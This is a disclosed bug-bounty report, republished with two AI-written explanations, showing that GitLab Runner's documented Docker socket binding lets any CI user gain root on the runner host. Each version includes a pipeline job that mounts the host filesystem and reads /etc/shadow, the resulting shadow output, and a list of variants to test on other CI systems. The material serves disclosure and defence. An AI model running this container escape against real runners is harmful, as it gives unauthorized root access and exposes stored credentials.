Skip to content
Misconfiguration Disclosed report Beginner

Installing Gitlab runner with Docker-In-Docker allows root access

The official GitLab documentation for installing a GitLab Runner with Docker-in-Docker recommends binding the host's Docker socket into the runner container. Any user with access to GitLab CI can then run a job that mounts the host filesystem and reads sensitive files such as /etc/shadow, gaining root access on the runner server.

jafarakhondali Follow

Originally disclosed on HackerOne

Bounty$100 View original
  • Triaged in 3 days
  • Fixed in 50 days
  • Paid in 8 days
  • Disclosed after 2 months

Summary

Installing a Gitlab runner using official documents: https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-socket-binding allows any user with access to Gitlab CI to have root access on Gitlab Runner server.

Steps to reproduce

Install Gitlab-runner binary using official documents and run Docker-in-Docker:

sudo gitlab-runner register -n \
  --url https://gitlab.com/ \
  --registration-token REGISTRATION_TOKEN \
  --executor docker \
  --description "My Docker Runner" \
  --docker-image "docker:19.03.12" \
  --docker-volumes /var/run/docker.sock:/var/run/docker.sock

Then set "exploiter" tag for runner, and in a project that have access to this runner, enter following pipeline:

stages:
  - exploiter
exploiter:
    stage: exploiter
    when: manual
    tags:
      - exploiter
    script:
      - docker run --rm  --net=host --pid=host --ipc=host --volume /:/host ubuntu bash -c "cat /host/etc/shadow"

and run the job.

Impact

Allows root access on Gitlab-runner server

What is the current bug behavior?

Sample output of job allows reading /etc/shadow of server.

Running with gitlab-runner 14.5.1 (de104fcd)
  on My Docker Runner 4j_ZSXte
Preparing the "docker" executor 00:04
Using Docker executor with image docker:19.03.12 ...
Pulling docker image docker:19.03.12 ...
Using docker image sha256:81f5749c9058a7284e6acd8e126f2b882765a17b9ead14422b51cde1a110b85c for docker:19.03.12 with digest docker@sha256:d41efe7ad0df5a709cfd4e627c7e45104f39bbc08b1b40d7fb718c562b3ce135 ...
Preparing environment 00:02
Running on runner-4jzsxte-project-28249719-concurrent-0 via ubuntu-g1-1-1-25-su-1...
Getting source from Git repository 00:03
Fetching changes with git depth set to 50...
Reinitialized existing Git repository in /builds/foroozan2/barika/.git/
Checking out e64249e2 as main...
Skipping Git submodules setup
Executing "step_script" stage of the job script 00:10
Using docker image sha256:81f5749c9058a7284e6acd8e126f2b882765a17b9ead14422b51cde1a110b85c for docker:19.03.12 with digest docker@sha256:d41efe7ad0df5a709cfd4e627c7e45104f39bbc08b1b40d7fb718c562b3ce135 ...
$ docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host ubuntu bash -c "cat /host/etc/shadow"
Unable to find image 'ubuntu:latest' locally
latest: Pulling from library/ubuntu
7b1a6ab2e44d: Pulling fs layer
7b1a6ab2e44d: Verifying Checksum
7b1a6ab2e44d: Download complete
7b1a6ab2e44d: Pull complete
Digest: sha256:626ffe58f6e7566e00254b638eb7e0f3b11d4da9675088f4781a50ae288f3322
Status: Downloaded newer image for ubuntu:latest
root:*:18438:0:99999:7:::
daemon:*:18438:0:99999:7:::
bin:*:18438:0:99999:7:::
sys:*:18438:0:99999:7:::
sync:*:18438:0:99999:7:::
games:*:18438:0:99999:7:::
man:*:18438:0:99999:7:::
lp:*:18438:0:99999:7:::
mail:*:18438:0:99999:7:::
news:*:18438:0:99999:7:::
uucp:*:18438:0:99999:7:::
proxy:*:18438:0:99999:7:::
www-data:*:18438:0:99999:7:::
backup:*:18438:0:99999:7:::
list:*:18438:0:99999:7:::
irc:*:18438:0:99999:7:::
gnats:*:18438:0:99999:7:::
nobody:*:18438:0:99999:7:::
systemd-network:*:18438:0:99999:7:::
systemd-resolve:*:18438:0:99999:7:::
systemd-timesync:*:18438:0:99999:7:::
messagebus:*:18438:0:99999:7:::
syslog:*:18438:0:99999:7:::
_apt:*:18438:0:99999:7:::
tss:*:18438:0:99999:7:::
uuidd:*:18438:0:99999:7:::
tcpdump:*:18438:0:99999:7:::
sshd:*:18438:0:99999:7:::
landscape:*:18438:0:99999:7:::
pollinate:*:18438:0:99999:7:::
systemd-coredump:!!:18966::::::
ubuntu:!:18966:0:99999:7:::
lxd:!:18966::::::
gitlab-runner:!:18966:0:99999:7:::

What is the expected correct behavior?

Although this issue may be known to Gitlab team, there is no security warning in documents for not binding docker socket, or at least use it only on trusted servers. Currently I'm encountering many clients that were not aware of this security issue and were thinking they've provided isolation in their teams. Such issue allows a remote attacker to malform CI process and have access to sensitive data. Gitlab documents should inform users for such vulnerability and provide documents on alternative-safe methods to use Dind such as rootless docker.

Impact

An attacker can have access to projects and their sensitive data running in Gitlab-CI by having root access of Gitlab server. Many projects store credentials in their CI process, allowing the Gitlab runner to have access to their production environment.

The original report as published on HackerOne, by jafarakhondali. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

GitLab CI jobs run on runners. A runner is an agent that picks up jobs from GitLab and executes them, and the docker executor runs each job inside a container. The official documentation describes a way to build Docker images inside CI jobs by binding the host's Docker socket into the job container, so that the job can talk to the Docker daemon running on the runner host.

The report argues that following that documented setup, any user who can run a CI job on the runner obtains root access on the runner server. The relevant documentation page is the one on Docker socket binding:

Text
https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-socket-binding

The weakness is classified as privilege escalation, and the report was disclosed on 10 February 2022 with a bounty of 100.00 USD.

Setup

The researcher installed the GitLab Runner binary following the official documentation and registered a runner with the Docker executor, binding the host socket into job containers. The registration command from the report is:

Bash
sudo gitlab-runner register -n \
  --url https://gitlab.com/ \
  --registration-token REGISTRATION_TOKEN \
  --executor docker \
  --description "My Docker Runner" \
  --docker-image "docker:19.03.12" \
  --docker-volumes /var/run/docker.sock:/var/run/docker.sock

The important part is --docker-volumes /var/run/docker.sock:/var/run/docker.sock: every job container started by this runner gets the host's Docker socket mounted at the same path. The executor is docker, the default job image is docker:19.03.12, and the runner is registered against https://gitlab.com/ with a registration token.

The precondition on the attacker side is only that the user has access to GitLab CI and can run a job on this runner. The report describes tagging the runner with the tag exploiter and using a project that has access to the runner.

Finding it

The researcher noticed that the documented Docker socket binding setup gives the job container control of the host Docker daemon. A process that can talk to /var/run/docker.sock can ask the daemon to start arbitrary containers, and those containers can be given host namespaces and host filesystem mounts. That turns a CI job, which is normally treated as an isolated build step, into a way to run commands with the daemon's privileges on the runner host.

What made it worth reporting was not a bug in GitLab's code but the gap between what the documentation recommends and what that recommendation implies for multi-tenant runners: the documentation carried no security warning about binding the socket, and no guidance to restrict it to trusted servers. The researcher notes having encountered many clients who were unaware of the issue and believed they had isolation between teams.

Exploitation

Step 1: register the runner with the socket bound

The runner is registered with the command shown above. The --docker-volumes flag mounts the host socket into every job container, so any job scheduled on this runner can reach the host daemon.

Step 2: tag the runner and target it from a pipeline

The runner is given the tag exploiter. In a project that has access to this runner, the following pipeline is committed:

Text
stages:
  - exploiter
exploiter:
    stage: exploiter
    when: manual
    tags:
      - exploiter
    script:
      - docker run --rm  --net=host --pid=host --ipc=host --volume /:/host ubuntu bash -c "cat /host/etc/shadow"

The job is manual (when: manual) and restricted to the exploiter tag, so it runs only on the runner registered in step 1. The script starts an ubuntu container with --net=host, --pid=host and --ipc=host, sharing the host's network, PID and IPC namespaces, and mounts the host root filesystem at /host inside the container with --volume /:/host. It then reads /host/etc/shadow, which is the host's shadow file. Because the request goes through the mounted Docker socket, the daemon on the runner host creates the container with those host-level settings.

Step 3: run the job and read the output

The job output in the report shows the runner version and the job execution, followed by the contents of the host's /etc/shadow:

Text
Running with gitlab-runner 14.5.1 (de104fcd)
  on My Docker Runner 4j_ZSXte
Preparing the "docker" executor 00:04
Using Docker executor with image docker:19.03.12 ...
Pulling docker image docker:19.03.12 ...
Using docker image sha256:[redacted] for docker:19.03.12 with digest docker@sha256:[redacted] ...
Preparing environment 00:02
Running on runner-4jzsxte-project-28249719-concurrent-0 via ubuntu-g1-1-1-25-su-1...
Getting source from Git repository 00:03
Fetching changes with git depth set to 50...
Reinitialized existing Git repository in /builds/foroozan2/barika/.git/
Checking out e64249e2 as main...
Skipping Git submodules setup
Executing "step_script" stage of the job script 00:10
Using docker image sha256:[redacted] for docker:19.03.12 with digest docker@sha256:[redacted] ...
$ docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host ubuntu bash -c "cat /host/etc/shadow"
Unable to find image 'ubuntu:latest' locally
latest: Pulling from library/ubuntu
7b1a6ab2e44d: Pulling fs layer
7b1a6ab2e44d: Verifying Checksum
7b1a6ab2e44d: Download complete
7b1a6ab2e44d: Pull complete
Digest: sha256:[redacted]
Status: Downloaded newer image for ubuntu:latest
root:*:18438:0:99999:7:::
daemon:*:18438:0:99999:7:::
bin:*:18438:0:99999:7:::
sys:*:18438:0:99999:7:::
sync:*:18438:0:99999:7:::
games:*:18438:0:99999:7:::
man:*:18438:0:99999:7:::
lp:*:18438:0:99999:7:::
mail:*:18438:0:99999:7:::
news:*:18438:0:99999:7:::
uucp:*:18438:0:99999:7:::
proxy:*:18438:0:99999:7:::
www-data:*:18438:0:99999:7:::
backup:*:18438:0:99999:7:::
list:*:18438:0:99999:7:::
irc:*:18438:0:99999:7:::
gnats:*:18438:0:99999:7:::
nobody:*:18438:0:99999:7:::
systemd-network:*:18438:0:99999:7:::
systemd-resolve:*:18438:0:99999:7:::
systemd-timesync:*:18438:0:99999:7:::
messagebus:*:18438:0:99999:7:::
syslog:*:18438:0:99999:7:::
_apt:*:18438:0:99999:7:::
tss:*:18438:0:99999:7:::
uuidd:*:18438:0:99999:7:::
tcpdump:*:18438:0:99999:7:::
sshd:*:18438:0:99999:7:::
landscape:*:18438:0:99999:7:::
pollinate:*:18438:0:99999:7:::
systemd-coredump:!!:18966::::::
ubuntu:!:18966:0:99999:7:::
lxd:!:18966::::::
gitlab-runner:!:18966:0:99999:7:::

The output shows the runner as version 14.5.1 (revision de104fcd), the job running on the docker executor with image docker:19.03.12, and the ubuntu:latest image being pulled before the command executes. The lines that follow are the host's shadow entries, including root, ubuntu and gitlab-runner. The report's own command line in the job log includes --privileged in addition to the flags in the pipeline file; the pipeline as committed does not contain it. Reading /etc/shadow is the demonstration; the same access to the host daemon and filesystem is what gives root on the runner server.

Root cause

The design issue is the socket binding itself. Mounting /var/run/docker.sock into a job container gives the job full control of the Docker daemon on the runner host, and the daemon runs with enough privilege to start containers that share host namespaces and mount the host root filesystem. The isolation the container is supposed to provide therefore does not hold against the job's own code: the job can simply ask the daemon for a more privileged container.

Existing defences did not stop it because the setup is the documented one. The report states there is no security warning in the documentation about not binding the Docker socket, or about using it only on trusted servers, so an operator following the guide has no signal that jobs become equivalent to root on the host. The report frames the missing warning and the absence of documented safe alternatives as the core of the problem.

Impact

Any user with access to GitLab CI on a runner configured this way can obtain root access on the GitLab Runner server. From there an attacker can reach the projects and sensitive data handled on that server. The report notes that many projects store credentials in their CI process, so runner access can lead to the production environments those credentials protect. The researcher also describes clients who believed their teams were isolated and were not aware of the issue, and characterises the result as a remote attacker being able to malform the CI process and reach sensitive data.

Fix

The report does not describe a code change. Its recommendation is documentation: GitLab's documents should warn users about this exposure and describe alternative, safe ways to use Docker-in-Docker, naming rootless Docker as an example. Until then, the practical mitigation that follows from the report is not to bind the host Docker socket on runners that untrusted users can schedule jobs on, or to restrict such runners to trusted servers.

Variants to test

  • Runners registered with --docker-volumes /var/run/docker.sock:/var/run/docker.sock on a shared or multi-tenant GitLab instance: a job that starts a container with host namespaces and a host root mount, as in the report, and reads a host-only file such as /etc/shadow. A positive result is host file contents in the job log.
  • Runners where the socket is mounted at a different path or through a different volume flag: adapt the mount path in the job and check whether the daemon is reachable from inside the job container.
  • Other CI systems whose documentation recommends mounting a container runtime socket into build containers: the same test applies, and a positive result is any read of host files or host-level control from inside a job.
  • Runners that expose the daemon over TCP instead of a socket: check whether a job container can reach the daemon endpoint and start a privileged container.

Hunting notes

This kind of issue hides in documentation-driven deployment rather than in application code. The signal during recon is a CI runner whose configuration mounts a container runtime socket into job containers. The report's demonstration was a minimal, reproducible one: the registration command from the official documentation, a pipeline committed in a project with access to the runner, and job output showing the host's /etc/shadow.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

GitLab is a website where teams keep their code and let computers build and test it automatically. The part that does the building and testing is called a runner: a separate machine (or a program on a machine) that waits for work, picks up a job, and runs it. Think of GitLab as a restaurant's front desk taking orders, and the runner as the kitchen in the back that actually cooks.

Normally each job is cooked in its own sealed box, called a container, so that one team's job cannot touch another team's job or the kitchen itself. A container is like a lunchbox: everything the job needs is inside, and it is not supposed to reach outside.

The report is about a setup that GitLab's own official instructions recommend. In that setup, the lunchbox is deliberately given a key to the kitchen: a special file called the Docker socket. Docker is the software that creates and runs containers, and the socket is the channel through which programs ask Docker to do things. If a job can talk to that channel, it can ask Docker to create new containers, and it can ask for those new containers to be far less sealed than the original one.

The researcher showed that a normal user who can run a job on such a runner can read a file that only the machine's administrator should be able to read. That file is /etc/shadow, which on Linux holds the scrambled passwords of every account on the machine. Reading it is proof of root access, meaning full administrator power over the runner server.

The weakness is filed under privilege escalation: starting with ordinary permissions and ending up with the highest ones. The report was disclosed on 10 February 2022, with a bounty of 100.00 USD.

The setup

The researcher installed the GitLab Runner program by following GitLab's official documentation and registered a runner that uses the docker executor with the host Docker socket bound into job containers. The executor is the part of the runner that decides how a job is run; the docker executor means each job runs inside a container.

The documentation page involved is the one about building Docker images inside jobs by binding the Docker socket:

Text
https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-socket-binding

This is a normal web address. The part after the # points to a section of the page, here the section on socket binding. "Binding" means connecting one thing to another: in this case, making the machine's Docker socket visible inside the job's container.

The registration command from the report is:

Bash
sudo gitlab-runner register -n \
  --url https://gitlab.com/ \
  --registration-token REGISTRATION_TOKEN \
  --executor docker \
  --description "My Docker Runner" \
  --docker-image "docker:19.03.12" \
  --docker-volumes /var/run/docker.sock:/var/run/docker.sock

Line by line:

  • sudo gitlab-runner register -n runs the runner program's register command with administrator rights (sudo). The -n means "non-interactive": do not stop to ask questions, just use the options given.
  • --url https://gitlab.com/ says which GitLab server this runner belongs to.
  • --registration-token REGISTRATION_TOKEN is the shared secret that proves to GitLab that this runner is allowed to join. A token is like a temporary key or a password written on a slip of paper; anyone holding it can act as the runner during registration. Here it is a placeholder, not a real value.
  • --executor docker chooses the Docker executor, so jobs run in containers.
  • --description "My Docker Runner" is just a human-friendly name shown in the GitLab interface.
  • --docker-image "docker:19.03.12" sets the default container image for jobs. An image is a ready-made snapshot of a disk with software already installed, like a recipe card that Docker follows to build a container.
  • --docker-volumes /var/run/docker.sock:/var/run/docker.sock is the crucial one. A volume is a piece of storage or a file made visible inside a container. The format is source:destination, so this takes the machine's Docker socket at /var/run/docker.sock and makes it appear at the same path inside every job container.

The effect is that every job started by this runner can reach the machine's Docker daemon. The daemon is the background service that actually creates and runs containers; the socket is the phone line to it.

On the attacker's side, the only requirement is that the person can use GitLab CI and can run a job on this runner. The report describes giving the runner the tag exploiter and using a project that has access to that runner. A tag is a label; a job says which labels it needs, and GitLab sends it only to a runner carrying those labels.

Finding it

The researcher noticed that the documented socket-binding setup hands the job container control over the machine's Docker daemon. Anything that can talk to /var/run/docker.sock can ask the daemon to start arbitrary containers, and those containers can be given access to the machine's network, processes and files. That turns a CI job, normally treated as an isolated build step, into a way to run commands with the daemon's own high privileges on the runner machine.

What made it worth reporting was not a bug in GitLab's code but the gap between what the documentation recommends and what that recommendation means when a runner is shared by several teams. The documentation carried no security warning about binding the socket, and no guidance to restrict it to trusted servers. The researcher notes having met many clients who were unaware of the issue and believed they had isolation between teams.

Exploitation

Step 1: register the runner with the socket bound

The runner is registered with the command shown above. The --docker-volumes flag mounts the machine's socket into every job container, so any job scheduled on this runner can reach the machine's daemon. This step is done by whoever operates the runner, following the guide in good faith; the attacker does not need to do anything here.

Step 2: tag the runner and target it from a pipeline

The runner is given the tag exploiter. In a project that has access to this runner, the following pipeline is committed:

Text
stages:
  - exploiter
exploiter:
    stage: exploiter
    when: manual
    tags:
      - exploiter
    script:
      - docker run --rm  --net=host --pid=host --ipc=host --volume /:/host ubuntu bash -c "cat /host/etc/shadow"

Line by line:

  • stages: begins the list of stages, the ordered phases a pipeline goes through.
  • - exploiter declares one stage named exploiter.
  • exploiter: starts the definition of a job, also named exploiter.
  • stage: exploiter puts the job in that stage.
  • when: manual means the job does not start by itself; a person has to click a button to run it. This is convenient for a demonstration, because the researcher decides when it fires.
  • tags: begins the list of runner labels the job needs.
  • - exploiter requires the exploiter tag, so the job runs only on the runner registered in step 1.
  • script: begins the commands the job will run.
  • - docker run --rm --net=host --pid=host --ipc=host --volume /:/host ubuntu bash -c "cat /host/etc/shadow" is the single command. Breaking it down:
    • docker run asks Docker to start a new container.
    • --rm deletes the container automatically when it finishes, leaving no leftovers.
    • --net=host makes the new container share the machine's network instead of having its own.
    • --pid=host makes it share the machine's list of running processes.
    • --ipc=host makes it share the machine's inter-process communication space, the channel programs on the same machine use to talk to each other.
    • --volume /:/host makes the machine's entire root filesystem, /, appear inside the container at /host. This is the equivalent of handing over the whole hard drive.
    • ubuntu is the image to start, a basic Ubuntu Linux system.
    • bash -c "cat /host/etc/shadow" runs a shell command inside the container: cat prints a file, and the file is /host/etc/shadow, which is the machine's own /etc/shadow seen through the mount.

Because the request goes through the mounted Docker socket, the daemon on the runner machine creates the container with those machine-level settings. The job's own container is still sealed; it is the daemon outside that does the work.

Step 3: run the job and read the output

The job output in the report shows the runner version and the job execution, followed by the contents of the machine's /etc/shadow:

Text
Running with gitlab-runner 14.5.1 (de104fcd)
  on My Docker Runner 4j_ZSXte
Preparing the "docker" executor 00:04
Using Docker executor with image docker:19.03.12 ...
Pulling docker image docker:19.03.12 ...
Using docker image sha256:[redacted] for docker:19.03.12 with digest docker@sha256:[redacted] ...
Preparing environment 00:02
Running on runner-4jzsxte-project-28249719-concurrent-0 via ubuntu-g1-1-1-25-su-1...
Getting source from Git repository 00:03
Fetching changes with git depth set to 50...
Reinitialized existing Git repository in /builds/foroozan2/barika/.git/
Checking out e64249e2 as main...
Skipping Git submodules setup
Executing "step_script" stage of the job script 00:10
Using docker image sha256:[redacted] for docker:19.03.12 with digest docker@sha256:[redacted] ...
$ docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host ubuntu bash -c "cat /host/etc/shadow"
Unable to find image 'ubuntu:latest' locally
latest: Pulling from library/ubuntu
7b1a6ab2e44d: Pulling fs layer
7b1a6ab2e44d: Verifying Checksum
7b1a6ab2e44d: Download complete
7b1a6ab2e44d: Pull complete
Digest: sha256:[redacted]
Status: Downloaded newer image for ubuntu:latest
root:*:18438:0:99999:7:::
daemon:*:18438:0:99999:7:::
bin:*:18438:0:99999:7:::
sys:*:18438:0:99999:7:::
sync:*:18438:0:99999:7:::
games:*:18438:0:99999:7:::
man:*:18438:0:99999:7:::
lp:*:18438:0:99999:7:::
mail:*:18438:0:99999:7:::
news:*:18438:0:99999:7:::
uucp:*:18438:0:99999:7:::
proxy:*:18438:0:99999:7:::
www-data:*:18438:0:99999:7:::
backup:*:18438:0:99999:7:::
list:*:18438:0:99999:7:::
irc:*:18438:0:99999:7:::
gnats:*:18438:0:99999:7:::
nobody:*:18438:0:99999:7:::
systemd-network:*:18438:0:99999:7:::
systemd-resolve:*:18438:0:99999:7:::
systemd-timesync:*:18438:0:99999:7:::
messagebus:*:18438:0:99999:7:::
syslog:*:18438:0:99999:7:::
_apt:*:18438:0:99999:7:::
tss:*:18438:0:99999:7:::
uuidd:*:18438:0:99999:7:::
tcpdump:*:18438:0:99999:7:::
sshd:*:18438:0:99999:7:::
landscape:*:18438:0:99999:7:::
pollinate:*:18438:0:99999:7:::
systemd-coredump:!!:18966::::::
ubuntu:!:18966:0:99999:7:::
lxd:!:18966::::::
gitlab-runner:!:18966:0:99999:7:::

What the output shows, piece by piece:

  • Running with gitlab-runner 14.5.1 (de104fcd) is the runner program reporting its version and build identifier.
  • on My Docker Runner 4j_ZSXte is the runner's description and a short identifier.
  • Preparing the "docker" executor 00:04 and the following lines show the runner getting ready, pulling the docker:19.03.12 image and starting the job container. The long sha256: strings are fingerprints that identify the exact image contents, so you can tell two images apart even if their names match.
  • Running on runner-4jzsxte-project-28249719-concurrent-0 via ubuntu-g1-1-1-25-su-1... names the job container and the machine it runs on.
  • Getting source from Git repository and the Fetching changes, Reinitialized, Checking out e64249e2 as main lines show the runner downloading the project's code and switching to the requested version.
  • Executing "step_script" stage of the job script marks the start of the commands from the pipeline.
  • The line beginning with $ is the command being run. Note that this logged command includes --privileged in addition to the flags in the pipeline file; the pipeline as committed does not contain it.
  • Unable to find image 'ubuntu:latest' locally and the Pulling, Verifying Checksum, Download complete, Pull complete lines show Docker downloading the Ubuntu image because it was not already on the machine.
  • Status: Downloaded newer image for ubuntu:latest confirms the download finished.
  • Everything from root:*:18438:0:99999:7::: down to gitlab-runner:!:18966:0:99999:7::: is the machine's /etc/shadow. Each line is one account. The fields are separated by colons: the account name, then the password field, then dates and settings about password ageing. A * or ! in the password field means no usable password is set for that account. The presence of root, ubuntu and gitlab-runner shows these are the machine's own accounts, not the container's.

Reading /etc/shadow is the demonstration. The same access to the machine's daemon and filesystem is what gives root on the runner server.

Root cause

The design issue is the socket binding itself. Mounting /var/run/docker.sock into a job container gives the job full control of the Docker daemon on the runner machine, and the daemon runs with enough privilege to start containers that share the machine's network, processes and files. The isolation the container is supposed to provide therefore does not hold against the job's own code: the job can simply ask the daemon for a more privileged container.

Existing defences did not stop it because the setup is the documented one. The report states there is no security warning in the documentation about not binding the Docker socket, or about using it only on trusted servers, so an operator following the guide has no signal that jobs become equivalent to root on the machine. The report frames the missing warning and the absence of documented safe alternatives as the core of the problem.

Impact

Any user with access to GitLab CI on a runner configured this way can obtain root access on the GitLab Runner server. From there an attacker can reach the projects and sensitive data handled on that machine. The report notes that many projects store credentials in their CI process, so runner access can lead to the production environments those credentials protect. A credential is any secret used to prove identity, such as a password or an API key. The researcher also describes clients who believed their teams were isolated and were not aware of the issue, and characterises the result as a remote attacker being able to malform the CI process and reach sensitive data.

Fix

The report does not describe a code change. Its recommendation is documentation: GitLab's documents should warn users about this exposure and describe alternative, safe ways to use Docker-in-Docker, naming rootless Docker as an example. Docker-in-Docker means running Docker inside a container so that a job can build images; rootless Docker means running Docker without administrator power, which limits what a compromised job could do. Until then, the practical mitigation that follows from the report is not to bind the machine's Docker socket on runners that untrusted users can schedule jobs on, or to restrict such runners to trusted servers.

Variants to test

  • Runners registered with --docker-volumes /var/run/docker.sock:/var/run/docker.sock on a shared or multi-tenant GitLab instance: a job that starts a container with machine-level namespaces and a machine root mount, as in the report, and reads a file that only the machine should expose, such as /etc/shadow. A positive result is machine file contents in the job log.
  • Runners where the socket is mounted at a different path or through a different volume flag: adapt the mount path in the job and check whether the daemon is reachable from inside the job container.
  • Other CI systems whose documentation recommends mounting a container runtime socket into build containers: the same test applies, and a positive result is any read of machine files or machine-level control from inside a job.
  • Runners that expose the daemon over TCP instead of a socket: check whether a job container can reach the daemon endpoint and start a privileged container. TCP is the standard way computers send data to each other over a network.

Hunting notes

This kind of issue hides in documentation-driven deployment rather than in application code. The signal during recon is a CI runner whose configuration mounts a container runtime socket into job containers. Recon is the early phase of looking around and gathering information before testing anything. The report's demonstration was a minimal, reproducible one: the registration command from the official documentation, a pipeline committed in a project with access to the runner, and job output showing the machine's /etc/shadow.

Glossary

  • GitLab: a website and service where teams store code and run automated build and test jobs.
  • CI (continuous integration): the practice of automatically building and testing code whenever it changes.
  • Runner: a machine or program that picks up jobs from GitLab and executes them.
  • Executor: the part of a runner that decides how a job is run, for example inside a Docker container.
  • Container: a sealed, lightweight environment holding an application and everything it needs, kept apart from the rest of the machine.
  • Docker: software that creates and runs containers.
  • Docker daemon: the background service that actually creates and runs containers.
  • Docker socket: the file, normally /var/run/docker.sock, through which programs send requests to the Docker daemon.
  • Socket binding: making a socket on the machine visible inside a container so the container can use it.
  • Volume: a file or piece of storage made visible inside a container, written as source:destination.
  • Image: a ready-made snapshot of a disk with software installed, used as the starting point for a container.
  • Root: the Linux administrator account, which can do anything on the machine.
  • Root access: having the full powers of the root account.
  • Privilege escalation: going from ordinary permissions to higher ones, up to administrator.
  • /etc/shadow: the Linux file holding account password information, readable only by the administrator.
  • Namespace: a separate view of a resource such as the network or the process list; --net=host, --pid=host and --ipc=host make a container share the machine's view instead of having its own.
  • IPC: inter-process communication, the channel programs on the same machine use to exchange data.
  • Token: a secret string that proves identity or grants permission, like a password on a slip of paper.
  • Registration token: the shared secret a runner uses to prove to GitLab that it may join.
  • Tag: a label attached to a runner; a job lists the tags it needs and runs only on a runner carrying them.
  • Pipeline: the ordered set of stages and jobs GitLab runs for a project.
  • Stage: one phase of a pipeline, containing one or more jobs.
  • Job: a single unit of work in a pipeline, made of commands to run.
  • Manual job: a job that waits for a person to click a button before it starts.
  • Credential: any secret used to prove identity, such as a password or an API key.
  • Docker-in-Docker: running Docker inside a container so a job can build images.
  • Rootless Docker: running Docker without administrator power, which limits what a compromised job could do.
  • TCP: the standard way computers send data to each other over a network.
  • Recon: the early phase of gathering information before testing.
  • Bounty: a reward paid by a company for a valid security report.

More by jafarakhondali

View all

1 more disclosed report, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Security misconfiguration

The lesson behind this report.

Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.